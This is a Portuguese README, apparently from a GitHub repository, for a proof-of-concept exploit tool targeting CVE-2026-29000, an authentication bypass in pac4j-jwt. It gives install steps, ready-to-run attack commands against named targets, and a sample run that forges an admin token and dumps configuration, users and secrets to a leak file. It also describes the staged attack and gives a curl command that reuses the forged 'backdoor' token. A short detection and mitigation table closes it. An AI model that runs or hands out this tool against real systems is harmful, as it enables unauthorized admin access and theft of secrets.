
CVE-2026-29000 – Bypass de Autenticação pac4j-jwt (🔥 CVSS 10.0). Forja de administrador com um clique via empacotamento JWE de chave pública. Vaza configurações, usuários, segredos. Keep-alive, proxy, JWKS personalizado.⚙️ Ferramenta educacional de PoC Exploit.
CVE-2026-29000 - Forja de Admin em Um Clique via JWT alg:none + Criptografia JWE
Este exploit explora CVE-2026-29000, uma vulnerabilidade crítica de CVSS 10.0 na biblioteca pac4j-jwt. Ao extrair a chave pública JWKS do servidor e forjar um token JWE criptografado com alg: none, ele consegue um bypass completo de autenticação e concede privilégios administrativos totais em um clique.
alg:none, envolve na chave pública do servidor| Biblioteca | Versões Afetadas | Versões Corrigidas |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
⚠️ Aviso: Esta ferramenta é apenas para testes de segurança autorizados e engajamentos de red team.
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requirements.txt:
text
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
🚀 Uso
Exploit Básico em Um Único Comando
bash
python exploit.py --target https://victim.com:8443
Salvar Token Forjado + Dados Vazados
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
Modo Verboso com JWKS Personalizado
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
Com Proxy e Sem Keep-Alive
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
Intervalo Personalizado de Keep-Alive
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
Verificação SSL Ativada
bash
python exploit.py -t https://legit.com:8443 --ssl-verify
⚙️ Argumentos de Linha de Comando
Argumento Curto Obrigatório Padrão Descrição
--target -t Sim - URL alvo (ex.: https://example.com:8443)
--jwks -k Não detecção automática Caminho personalizado do endpoint JWKS
--output -o Não None Salvar token JWE forjado em arquivo
--leak -l Não leaked_TIMESTAMP.txt Salvar dados vazados em arquivo
--verbose -v Não False Habilitar saída de depuração
--proxy -p Não None Proxy HTTP/HTTPS
--user-agent -ua Não Mozilla/5.0... User-Agent personalizado
--no-keep-alive - Não False Desabilitar keep-alive de sessão
--delay - Não 5.0 Intervalo de ping keep-alive (segundos)
--max-retries - Não 3 Máximo de retentativas por requisição falha
--ssl-verify - Não False Verificar certificados SSL
📸 Exemplo de Saída
text
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
╔══════════════════════════════════════════════════════════════════════════════╗
║ CVE-2026-29000 - Exploit de Bypass de Autenticação pac4j-jwt ║
║ A Forja de Admin em Um Clique Educacional ║
║ CVSS 10.0 - CRÍTICO ║
╚══════════════════════════════════════════════════════════════════════════════╝
[11:23:15] ESTÁGIO 1: Adquirindo chave pública RSA do JWKS
[11:23:15] Procurando endpoint JWKS...
[11:23:16] JWKS encontrado em /realms/master/protocol/openid-connect/certs
[11:23:16] Chave pública RSA extraída com sucesso
[11:23:16] ESTÁGIO 2: Criando JWT com alg:none e criptografando em JWE
[11:23:16] Token JWE forjado (truncado): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0...
[11:23:16] ✓ Token salvo em backdoor.jwe
[11:23:16] ESTÁGIO 3: Enviando JWE forjado como token Bearer
[11:23:17] ✓ Autenticação bem-sucedida! Acesso concedido a /api/users/me
[11:23:17] ESTÁGIO 4: Enumerando endpoints acessíveis e revelando dados sensíveis
[11:23:18] ✓ Vazado: /actuator/env (status 200)
[11:23:18] ✓ Vazado: /api/users (status 200)
[11:23:18] ✓ Vazado: /api/secrets (status 200)
[11:23:18] ✓ Vazado: /config/server (status 200)
[11:23:18] ✓ Capturados 4 endpoints sensíveis → salvos em leak.txt
[11:23:18] Sessão keep‑alive ativa (Ctrl+C para parar)
[11:23:18] Token (JWE) válido por ~1 hora – refaça se expirar
🧠 Como Funciona
text
┌─────────────────────────────────────────────────────────────────┐
│ ESTÁGIO 1: Aquisição de Chave Pública │
│ ├── Descobrir endpoint JWKS (mais de 15 caminhos conhecidos) │
│ ├── Obter JWK contendo chave pública RSA │
│ └── Converter JWK → formato PEM │
├─────────────────────────────────────────────────────────────────┤
│ ESTÁGIO 2: Forja de Token │
│ ├── Criar JWT com alg: "none" │
│ ├── Injetar claims de admin (ROLE_ADMIN, admin: true) │
│ └── Criptografar JWT em JWE usando a chave pública do servidor│
├─────────────────────────────────────────────────────────────────┤
│ ESTÁGIO 3: Bypass de Autenticação │
│ ├── Enviar JWE como token Bearer │
│ ├── Testar mais de 8 endpoints protegidos │
│ └── Extrair cookie de sessão │
├─────────────────────────────────────────────────────────────────┤
│ ESTÁGIO 4: Exfiltração de Informações │
│ ├── Enumerar mais de 20 caminhos de API sensíveis │
│ ├── Coletar configurações, usuários, segredos, ambiente │
│ └── Salvar tudo no arquivo de vazamento │
├─────────────────────────────────────────────────────────────────┤
│ Keep-Alive: Ping em /api/ping a cada N segundos │
└─────────────────────────────────────────────────────────────────┘
🔧 Uso Manual do Token
Após a exploração, use o token JWE salvo com curl:
bash
curl -H "Authorization: Bearer $(cat backdoor.jwe)" https://target.com/api/admin/users
🛡️ Detecção e Mitigação
Método de Detecção Indicador
Análise de Logs JWT com alg: none em logs de auditoria
Monitoramento de Rede Requisições a endpoints JWKS de IPs desconhecidos
Verificação de Versão curl /actuator/info | grep pac4j
Mitigação:
Atualizar pac4j-jwt para versões corrigidas (≥5.1.5, ≥4.5.8, ≥3.18.6)
Desativar suporte a alg: none no validador JWT
Implementar validação rigorosa de JWE
Monitorar estruturas JWT anômalas